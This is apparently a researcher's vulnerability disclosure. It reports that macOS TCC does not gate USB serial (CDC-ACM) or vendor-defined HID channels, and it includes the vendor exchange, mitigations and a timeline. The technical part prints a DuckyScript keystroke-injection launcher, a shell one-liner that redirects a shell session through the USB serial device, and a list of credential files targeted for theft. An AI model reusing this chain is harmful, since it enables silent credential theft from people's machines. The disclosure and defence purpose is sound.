Case: Apple Product Security case OE11057041574014. Reporter: Kevin Kessler, glyph.sh. Reported: 2026-04-26. Apple response: “unable to identify a security issue” (2026-05-20). Publication: 2026-09-24, after 4 months of silence following my final reply.

This post has two halves. Part 1 explains what this actually means for people who don’t work in security. Part 2 is the technical writeup: what macOS is doing wrong, the exact attack chain at a defender-education level, and the mitigations. The firmware class that implements the composite USB device is public (GlyphSH/janus-usb-windows); the Mac-specific exfil payload is not included here.

Part 1: What this means if you don’t work in security

The one-sentence version

macOS does not have a TCC consent category for USB serial device access, so a small USB gadget plugged into your Mac (or a hub or docking station your Mac already trusts) can open a bidirectional covert channel with no prompt and ship whatever your shell can legitimately read off the machine, which on a developer or admin Mac is enough to walk away with working SSH keys, cloud credentials, and shell history in about 24 seconds.

What is and isn’t bypassed

This is a gap in TCC’s coverage, not a bypass of TCC as a whole. macOS protects most of what matters: Mail, Messages, Safari and every mainstream browser’s cookies, Contacts, Photos, your 1Password vault, the Keychain, iCloud Drive, Camera, microphone, and screen contents all stay behind their respective consent prompts and are not reachable by this attack. What the attack does get is a bidirectional data channel to an untrusted party outside the machine that TCC does not model, plus the files in your home folder that are not consent-gated to begin with. That combination is still a problem, because for developers and admins those files are credentials that work.

How this could actually happen

You’re at a coworking space. Your laptop is open and unlocked on the table while you turn to answer a question. The person next to you reaches over and plugs a small board that looks like a phone accessory into a free port on your travel dock. Twenty-four seconds later they pocket it. Nothing on your screen looked unusual, other than a brief flash of Terminal opening and closing. By the time you noticed, the board was already gone.

Or: you leave your laptop unlocked at a conference to grab coffee. Your friendly booth neighbor plugs a small device into the open port on your travel dock. Same result.

Or: you’re an executive with an assistant who has physical access to your office. The USB dock on your desk was approved when they set it up months ago. A vendor swings by for a scheduled meeting and plugs a “demo gadget” into a free port on your dock while you step out for the printer.

The device does not have to look suspicious. It can be built to look exactly like a phone charger, a mouse, a memory stick, or a card reader. It costs about 20 dollars in parts.

Who is exposed

• Developers, administrators, DevOps and security engineers who use command-line tools. This is where the attack lands hardest. If you have ever used ssh, aws, gcloud, kubectl, gh, or git from Terminal, the credentials for every service those tools are configured for sit in your home folder in a form the attack can take silently.
• Anyone who leaves their Mac unattended with a USB hub, docking station, or multi-port adapter attached. The attack needs a port on your dock to be physically within reach of someone else for about 30 seconds while the Mac is unlocked.
• Remote workers with home offices. Home docks and hubs are trusted by default and rarely audited.
• Anyone who thought turning on Lockdown Mode gave them extra protection against this class of attack. For the specific scenario in this post, it doesn’t.
• Anyone whose company’s insurance or compliance policy assumes Lockdown Mode is a control. That assumption is wrong for USB serial devices right now.

Non-technical Mac users (people who do not run Terminal, do not use command-line tools, and have no CLI credential files in their home folder) have a smaller exposure, because the things most important to them - email, messages, browser session, photos, documents - sit behind TCC gates that this attack does not bypass.

What actually gets stolen

The attack copies files from the parts of your home folder that macOS does not gate behind a consent prompt. macOS protects more than people usually assume, so being precise about the scope matters.

What this attack silently takes:

• Command-line credential files kept directly in your home folder: ~/.ssh/ (keys for every server), ~/.aws/credentials (cloud keys), ~/.config/gh/hosts.yml (GitHub token), ~/.docker/config.json, ~/.gnupg/, ~/.gitconfig. These are not consent-gated and are usable immediately as you.
• Shell history (~/.zsh_history, ~/.bash_history). Any password, token, or one-time code ever pasted into Terminal.
• Any custom folder you keep in your home directory (~/Projects, ~/Developer, ~/code, etc.). Not consent-gated.
• The encrypted login keychain file. Items inside still require your login password to decrypt, but the file leaves the Mac for offline attack.
• Non-sandboxed Electron app data such as Slack and Zoom’s local state, which can carry workspace session material.

What macOS still protects, and what this attack does NOT silently take:

• Every mainstream browser’s cookies and profile data. Safari, Chrome, Brave, Firefox, and Edge all have their user-data directories gated at the shell layer.
• Mail (~/Library/Mail) and the Messages/iMessage archive (~/Library/Messages).
• Contacts, Call History, and the Discord local store.
• The 1Password vault and Microsoft Office/Outlook data (both live in App Group Containers that macOS blocks).
• Individual passwords inside the Keychain (per-item consent prompts).
• Photos library, iCloud Drive files, Camera, microphone, and screen contents (separate TCC categories).
• Desktop, Documents, and Downloads. These are the three per-folder TCC categories under “Files and Folders”: a fresh Terminal.app prompts visibly on first access to any of them. iCloud Drive and removable volumes are gated the same way.

Who this hits hardest: developers, administrators, and anyone who has used aws, gcloud, kubectl, gh, git, or ssh from the command line. For that population the attack takes working, immediately-usable access to servers, cloud accounts, and private repositories. The material works as the real user, with no 2FA prompt and no “unusual activity” alert on the other end, because to the service receiving the request this is exactly them. The first sign of trouble is usually a charge, a push to a repo, or a cloud bill that was not supposed to happen.

For a non-technical Mac user, the practical silent-exfil set is small, because the things that matter most to them - email, messages, browser session, photos, documents - all sit behind TCC gates that this attack does not bypass.

The business and economic angle

For CEOs, CIOs, CISOs, and the board:

The average cost of a data breach in 2024 was 4.88 million dollars (IBM’s Cost of a Data Breach report). Credential-based breaches are the largest category of that figure and take the longest to detect. This class of attack produces exactly that kind of breach, because it lets an attacker walk out of a coworking space with a working set of your engineers’ cloud credentials.

Your cyber insurance policy almost certainly asks whether you use USB controls, MDM-enforced hub policies, or endpoint DLP. Many policies price on the assumption that Apple’s built-in security stack (Lockdown Mode, USB Restricted Mode, TCC) works as marketed. It does not, for this specific class. Your broker may want to know.

Compliance frameworks (ISO 27001 Annex A.7.10, NIST SP 800-53 MP-7, SOC 2 CC6.6) all reference removable-media controls. If your policy says “we rely on macOS Lockdown Mode for USB attack surface,” that statement is currently inaccurate for the CDC-ACM class.

For heads of IT and security teams:

You cannot fix this at Apple’s layer today. What you can do is:

• Deploy MDM policies that restrict USB device classes at the Mac level for at-risk fleets (engineers, admins, security, DevOps). This is the only genuinely effective defense.
• Standardize on USB data-blockers (“USB condoms”) between staff Macs and any public-infrastructure USB (hotels, airports, conference power, coworking chargers). Under 15 dollars, blocks data, passes power.
• Include this class in your tabletop exercises. The specific chain: “attacker reaches a free USB port on a dock while the engineer’s Mac is unlocked and unattended” is the scenario to run.

For working professionals:

You do not need to become a security engineer. The two things that actually help are:

1. Do not leave your Mac unattended while it’s plugged into any dock or hub, especially unlocked. The dock at your desk in your own office is exposed the moment anyone else can reach a free port on it for 30 seconds. Physical position of the machine matters more than any software setting.
2. Use a USB data-blocker whenever you plug into infrastructure you don’t own. Hotels, airports, conference charging stations, coworking wall outlets that offer USB, rental car USB ports. Under 15 dollars, blocks the data pins, passes only power. It is the one physical countermeasure that survives an attacker who has time and tools.

Note on port blockers, tape, or “hide the free ports”: these are not defenses. An adversary willing to plug a device in is willing to remove a piece of tape or a silicone plug in the same motion. Do not rely on them.

Why this got published

I reported this to Apple on 2026-04-26 through their official channel with a working proof-of-concept firmware, a full write-up, and a sysdiagnose. On 2026-05-20 Apple declined, writing that they “don’t see any actual security implications.” I sent back a one-sentence description of what the attack actually does, which lets someone silently copy credentials off a locked Mac with Lockdown Mode on. Apple did not respond to that reply, and hasn’t for four months.

At that point the responsible thing is to tell the people who might get hurt by it, so they can take the two habits above. Withholding the class from defenders while Apple decides not to fix it means only attackers benefit from the silence.

Part 2: Technical writeup

Affected

• macOS 26.4.1 (Apple Silicon), the version I tested against. I have no reason to believe earlier or subsequent releases behave differently for the TCC side of this. Test yourself.
• Any USB device that can present a CDC-ACM interface. My PoC uses a LilyGo T-Dongle S3 (ESP32-S3 with a USB-A plug, $20 at time of writing), plugged into a free USB-A port on the dock, and standard Espressif ESP-IDF v5.4 tooling.
• Any Mac that has ever had a USB hub, dock, or adapter approved by the user, which is essentially every Mac that has ever been plugged into anything through a docking station or a multi-port hub.

Background: the three mechanisms this bypasses

USB Restricted Mode is the default macOS behavior that prevents a new USB accessory from communicating with a locked Mac more than one hour after last unlock. Apple markets it as a defense against opportunistic malicious devices.

Lockdown Mode is Apple’s opt-in extreme-hardening profile. Per Apple’s own documentation, it “blocks wired connections with a computer or accessory when the device is locked.”

TCC (Transparency, Consent, and Control) gates access to protected input and output classes. If you have ever seen the “X wants to control your keyboard” or “X wants to record your screen” sheet, that is TCC. TCC is the layer users are told to trust when they wonder whether a background app can silently read what they are doing.

Finding 1: locked-Mac plus Lockdown Mode plus a trusted hub

Threat model. Adversary has brief physical access to a USB port on a hub, dock, or adapter that the user has previously trusted. The Mac is locked, USB Restricted Mode is on, and Lockdown Mode is on. Whether it has been more than an hour since last unlock is not relevant to this vector, because the hub’s existing trust bypasses that gate.

Behavior observed. A USB composite device plugged into that hub, presenting both an HID Keyboard interface and a CDC-ACM interface, enumerates both interfaces. macOS creates the device node /dev/cu.usbmodem* with full read and write permissions. Nothing prompts the user, because macOS does not re-prompt for devices downstream of an already-approved hub.

What this means. The one-time hub approval is not just a permission to use that hub. It is effectively a persistent enumeration exemption for anything ever connected through it, for any USB class the composite device wants to expose. USB Restricted Mode and Lockdown Mode are both structured around per-device approval and do not model hub-downstream devices as new events.

Correction I want to be upfront about. My original 2026-04-26 report claimed the locked-mode bypass worked without any user interaction at all. I retracted that on 2026-04-28 after re-testing more carefully. macOS does correctly prompt for the first device plugged into a locked Mac. The bypass requires the composite device to be connected via a previously-approved hub. I flagged this to Apple in the case thread the same week. Everything below is the corrected model.

Finding 2: unlocked-Mac TCC bypass (the one Apple declined)

Threat model. Adversary has brief physical access to a USB port on any device the user has approved, while the Mac is unlocked. Plug the device in, wait for the chain to complete, unplug. The full run measured 24 seconds end-to-end. Common scenarios: an unattended unlocked Mac at a coworking space, a workstation left open during a meeting break, or a brief in-office access window during a scheduled visit.

Behavior observed. The CDC serial device node /dev/cu.usbmodem* is not enrolled in any TCC service category. The node is created crw-rw-rw- and any user process can open it with O_RDWR without a consent sheet and without an entitlement.

Attack chain. A composite USB device presenting HID Keyboard plus CDC-ACM does the following:

1. HID keyboard interface types the keystrokes to open Terminal (Spotlight, “Terminal”, Enter). Because HID keyboard input goes through the same code path as a real user, TCC does not treat this as input monitoring.
2. The typed shell command redirects a shell session’s stdio through the CDC serial device node. Any script the operator wants to run can now be delivered over the serial channel and its output shipped back over the same channel.
3. Standard shell operations collect the categories of interest that my PoC actually exfiltrated:
   • SSH private keys
   • Cloud provider credentials (AWS, GCP, Azure, Kubernetes)
   • Keychain metadata (item existence and attributes, not the encrypted secret material itself)
   • Environment secrets
4. The exfiltrated data leaves the Mac over the USB serial channel and lands on the attached microcontroller’s flash. In my measurements, end-to-end from plug-in to the device being removed with data on board is 24 seconds. Nothing in the sequence triggers a TCC sheet. What the user sees, if they happen to be looking at the screen, is a Finder window, a Spotlight search, and text being typed in a Terminal window.

Why this is a security issue in plain language. TCC is the mechanism macOS uses to promise users that no application can silently take their screen, keystrokes, or files without their consent. A USB-attached serial device is functionally equivalent to a very fast bidirectional pipe to an untrusted party outside the machine, and the code that talks to it does not need a TCC grant. If the answer is “well, the user opened Terminal”, the answer is also that the user did not open Terminal, a USB device did, and TCC exists precisely to catch that class of thing.

What Apple said

From the case thread:

Nick | Product Security (2026-05-20): Thanks for confirming you’re using a hub. This is the expected behavior when a hub is connected and allowed by a user. As for your “Finding 2”, we don’t see any actual security implications and do not have any precedent for categories of the type you’re recommending.

I replied the next day:

Kevin Kessler (2026-05-21): Data exfiltration is possible from the user directory when a user allows a hub to connect, while the macbook is locked and in lockdown mode.

That reply has not been answered. It has been four months.

I want to steelman Apple’s position. It is defensible to say that “user approved a hub” is the ceiling of what any USB security model can offer, and that once a hub is trusted the trust is transitive by design. It is much harder to defend “the serial device class is not in TCC because we don’t have precedent for including it,” because the exfiltration chain I described in my final reply is exactly the kind of thing TCC was built to catch. TCC has precedent for gating input monitoring, screen recording, and directory access. A serial channel that ships those same secrets off the machine over a wire the user cannot see is the same shape of problem.

Proof of concept

The hardware and firmware class is public. The Windows-targeted sibling of the firmware used in this disclosure is released as GlyphSH/janus-usb-windows under MIT. The device I used is a LILYGO T-Dongle-S3 (ESP32-S3 with a USB-A plug, 0.96" ST7735 LCD, TF card slot, $20 on Amazon at time of writing) running native ESP-IDF + TinyUSB, presenting a composite USB device that exposes both an HID Keyboard interface and a CDC-ACM serial interface. That repo is what demonstrates the mechanism; the HID button there opens Windows cmd, the CDC pipe runs ASCII file transfer. On macOS, the HID side opens Terminal through Spotlight instead, and the CDC pipe is used to carry stdio.

I am not publishing the Mac-specific exfil payload. The disclosure here is at a level a security engineer can reproduce with an evening of work on top of the public firmware base above, which is what the responsible-disclosure norms exist for.

To reproduce in a lab:

• Start from a composite CDC-ACM + HID Keyboard firmware. The janus-usb-windows repo above is a working starting point built on native ESP-IDF + TinyUSB; the TinyUSB project itself ships composite-device examples that cover the same ground. I used the T-Dongle S3 because its USB-A plug makes it look like a thumb drive, but any CDC-capable board that can also expose an HID Keyboard interface works.
• Point the HID script at Terminal through Spotlight instead of cmd, and have the CDC side hold stdio for a shell session on the host.
• For Finding 2 (TCC gap on an unlocked Mac): plug the device in. Observe that no TCC prompt appears at any stage.
• For Finding 1 (locked-Mac + Lockdown Mode via trusted hub): first approve any USB hub, dock, or adapter on the Mac (this is a one-time event that many users have already done for their normal dock). Enable Lockdown Mode. Lock the Mac with Ctrl+Cmd+Q. Wait ~10 seconds. Plug the composite device into a spare port on the previously-approved hub. Wait ~60 seconds, unplug, unlock, and inspect the system log (or, in my PoC, ~/Desktop/cdc-lock-test.log) for the /dev/cu.usbmodem* device-node creation event. The one-hour USB Restricted Mode timer is not relevant to this vector; the hub’s existing trust bypasses that gate.

The Mac firmware variant, host-side observer script, and log of the run were provided to Apple with the original report.

Mitigations

For Apple, in decreasing order of what I would ask for first:

1. Enroll /dev/cu.usbmodem* and /dev/tty.usbmodem* in TCC as a new service category, roughly “Serial device access.” Prompt on first use per process. This is the fix that closes Finding 2 without breaking any legitimate use.
2. Require a signed, entitled process to open a /dev/cu.usbmodem* node. This is a stricter version of the above and would break casual use of Arduino IDE and PlatformIO without a workaround, so option 1 is preferable.
3. Track hub-downstream enumeration as a new device event under Lockdown Mode. If a hub is approved and later a new device appears downstream of it while the Mac is locked and Lockdown Mode is on, re-prompt. This is a meaningfully harder engineering change than the TCC one, which is why I list it second.

For users, as an interim:

• Treat any dock or hub attached to your Mac as a plug-point anyone who physically reaches it can use. If you would not plug a random USB device into an open port on the Mac itself, do not plug one into a hub either.
• Prefer USB data-blockers (“USB condoms”) on ports you leave plugged into hubs in shared or public spaces.
• Do not leave Arduino IDE, PlatformIO, screen, minicom, or any serial-consuming daemon running when you do not need it. These are not exploited by this chain, but the presence of familiar-looking processes that read serial devices makes an audit harder.
• If you rely on Lockdown Mode as a defense-in-depth layer, understand that this class is not covered by it today. Behave accordingly.

Timeline

For reference: Project Zero publishes at 90 days plus a 14-day grace, ZDI at 120. This report gave Apple 151 days of exclusive access, of which 126 were spent waiting for a reply to my one-sentence rebuttal.

Broader class (post-publication, added 2026-09-26)

A reader pointed out after publication that this isn’t specifically a CDC-ACM problem, it’s a broader class. HID with vendor-defined usage pages achieves the same driverless, cross-platform, TCC-unmediated bidirectional channel that CDC-ACM provides. Kevin Cuzner’s write-up on cross-platform driverless USB HID is a solid reference for the technique.

I verified the HID variant empirically on macOS 26. The test program is this short:

// swift hidprobe.swift
import IOKit.hid
import Foundation

let m = IOHIDManagerCreate(kCFAllocatorDefault, IOOptionBits(kIOHIDOptionsTypeNone))
IOHIDManagerSetDeviceMatching(m, nil)
IOHIDManagerOpen(m, IOOptionBits(kIOHIDOptionsTypeNone))

guard let set = IOHIDManagerCopyDevices(m) else { exit(0) }
let count = CFSetGetCount(set)
let ptr = UnsafeMutablePointer<UnsafeRawPointer?>.allocate(capacity: count)
defer { ptr.deallocate() }
CFSetGetValues(set, ptr)

for i in 0..<count {
    let d = Unmanaged<IOHIDDevice>.fromOpaque(ptr[i]!).takeUnretainedValue()
    let name = IOHIDDeviceGetProperty(d, kIOHIDProductKey as NSString) as? String ?? "?"
    let page = IOHIDDeviceGetProperty(d, kIOHIDPrimaryUsagePageKey as NSString) as? Int ?? 0
    let rc = IOHIDDeviceOpen(d, IOOptionBits(kIOHIDOptionsTypeNone))
    print(String(format: "usage_page=0x%04x rc=%d  %@", page, rc, name))
    IOHIDDeviceClose(d, 0)
}

Sample run on a MacBook Pro with no external HID peripherals attached:

usage_page=0xff0c rc=0           devmotion6
usage_page=0x000c rc=0           Headset
usage_page=0xff00 rc=0           Keyboard Backlight
usage_page=0xff00 rc=0           Apple Internal Keyboard / Trackpad
usage_page=0x0001 rc=-536870174  Apple Internal Keyboard / Trackpad
usage_page=0xff00 rc=0           BTM
usage_page=0xff0c rc=0           cma
usage_page=0xff00 rc=0           als-temp
usage_page=0xff00 rc=0           wakehint
usage_page=0xff00 rc=0           accel
usage_page=0xff00 rc=0           Apple Internal Keyboard / Trackpad
usage_page=0xff00 rc=0           Apple Internal Keyboard / Trackpad
usage_page=0xff00 rc=0           Apple Internal Keyboard / Trackpad
usage_page=0x0001 rc=-536870174  Apple Internal Keyboard / Trackpad
usage_page=0xff00 rc=0           gyro
usage_page=0xff00 rc=0           als
usage_page=0x0020 rc=0           las

Every device whose primary usage page is vendor-defined (0xFF00-0xFFFF), plus Consumer (0x000C) and Sensor (0x0020), opens with rc=0 and no TCC prompt. The two entries with rc=-536870174 (= kIOReturnNotPermitted) are the Generic Desktop (0x0001) Keyboard/Mouse interface — the one usage page Apple gates behind Input Monitoring, because that is the classic keylogger surface. Vendor-defined HID interfaces sail through unmediated. Attach a Logitech Unifying Receiver or a Dell keyboard with a vendor-page endpoint and the vendor-page entries will show up as additional rc=0 lines in that output.

Note the test only exercised the per-interface TCC gate, not the first-plug-in “Allow accessory to connect?” USB Accessory Security gate. Those tested devices went through the accessory prompt at some earlier point. For Finding 1’s threat model, that accessory gate is bypassed by the trusted-hub inheritance; for Finding 2’s, the user approves the device themselves. Once a device is past the accessory gate, vendor-usage HID access from userspace is unmediated.

The original CDC-ACM Finding 2 was demonstrated on macOS 26.4.1 and has not been re-tested on 26.7. I have no reason to believe Apple silently added CDC-specific TCC gating in 26.5, 26.6, or 26.7 (the AppleUSBSerial driver stack is still loaded and no release notes suggest a change), but I have not physically re-plugged the ESP32-S3 into a 26.7 machine to confirm. If someone runs that test, I’ll update this section.

The Input Monitoring gate does not apply to vendor-defined HID reports because those are not “keystrokes from any application” from the OS’s point of view. So an attacker’s ESP32-S3 (or any composite device) that exposes a vendor-defined HID interface gets the same TCC-free bidirectional channel that the CDC-ACM writeup describes.

The reason I demonstrated CDC-ACM specifically is that /dev/cu.usbmodem* is a POSIX character device, so the exfil chain works with only built-in shell utilities. HID-injected keystrokes open Terminal, and standard cat > /dev/cu.usbmodem* / cat < /dev/cu.usbmodem* redirects data both ways. Doing the same over HID vendor reports requires a helper program on the Mac (hidapi, IOHIDManager caller, etc.) that stock macOS does not ship. HID is the broader class of the underlying gap; CDC is the easier variant to demonstrate end-to-end without dropping additional tooling on the target.

The DuckyScript side of the HID stage looks like this. It uses the composite device’s HID interface to detect the OS, then branches into an OS-specific keystroke sequence that opens a shell and hands control to the CDC-ACM interface on the same device:

REM Covert Collection Launcher - Multi-OS
REM Types a minimal command to execute pre-staged scripts from MSC drive.
REM Scripts are deployed to MSC at boot by covert_deploy module.
REM Total visible keystrokes: ~25 chars (macOS/Linux) or ~58 chars (Windows)

VAR $os = DETECT_OS
LED YELLOW
LCD Collect ($os)

DELAY 2000

IF $os == "MACOS"
    REM Open Finder via Spotlight (no Parallels name collision)
    GUI SPACE
    DELAY 500
    STRING Finder
    DELAY 800
    ENTER
    DELAY 1000
    REM Go to Folder navigates to Utilities and selects Terminal.app
    SHIFT GUI g
    DELAY 500
    STRING /System/Applications/Utilities/Terminal.app
    ENTER
    DELAY 1000
    REM Cmd+O opens selected item in Finder (Enter renames, not opens)
    GUI o
    DELAY 2000
    REM Two-stage CDC: bootstrap opens serial, firmware pushes script via TX
    STRING d=/dev/cu.usbmodemSFD3;sh -s<$$d 2>&1|cat>$$d;exit
    ENTER
ELSEIF $os == "WINDOWS"
    REM Win+R opens Run dialog
    GUI r
    DELAY 500
    REM Find ARGUS drive and execute VBS polyglot
    STRING cmd/c "for %d in (D E F G H I) do @if exist %d:\s.cmd %d:\s.cmd"
    ENTER
ELSEIF $os == "LINUX"
    REM Open terminal
    CTRL ALT t
    DELAY 1500
    REM Execute script from MSC drive, runs in background
    STRING sh /media/*/ARGUS/.fwu &
    ENTER
    DELAY 500
    STRING exit
    ENTER
ELSE
    LCD Unknown OS
ENDIF

LED GREEN
LCD Done
EXFIL "collect:complete"

On macOS, the two-stage bootstrap is the key detail. The HID side keystrokes a one-liner that reads a shell script off the CDC endpoint and writes its output back to the same endpoint. Everything after that is normal shell I/O against a device node that TCC does not gate. Windows and Linux branches are shown for completeness; the TCC-specific finding is the macOS one.

The right way to frame the finding is therefore: any USB channel that exposes a userspace-accessible bidirectional pipe without TCC gating is a covert channel out of a locked or Lockdown-Mode Mac. CDC-ACM is one instance, HID vendor reports are another. Apple’s “no precedent for the category” declination applies just as badly to either.

Responsible-disclosure posture

I withheld the Mac-specific exploit payload throughout. I withheld it in the original report, throughout the four-month wait, and in this post. The public janus-usb-windows firmware demonstrates the composite USB device class on Windows; the Mac-specific HID + CDC exfil variant is not published. The description here is at the level of a defender-education writeup, not a copy-paste attack script. If any defender or Apple engineer wants a working Mac PoC for validation, contact me privately.

I am publishing without an Apple CVE. A CVE ID request has been filed with MITRE CNA-LR (framed as a TL-Root dispute of a vendor bug-bar declination, per MITRE’s own CNA-LR policy). I will update this post with the CVE ID once assigned. Apple issues CVEs only for what they fix, and by their own reply they do not intend to fix this.

Contact

• Kevin Kessler
• kevin@glyph.sh
• https://glyph.sh
• I will answer questions on scope, class, mitigations, or reproduction on any platform this post is shared to. Working exploit code will not be posted publicly under any circumstances.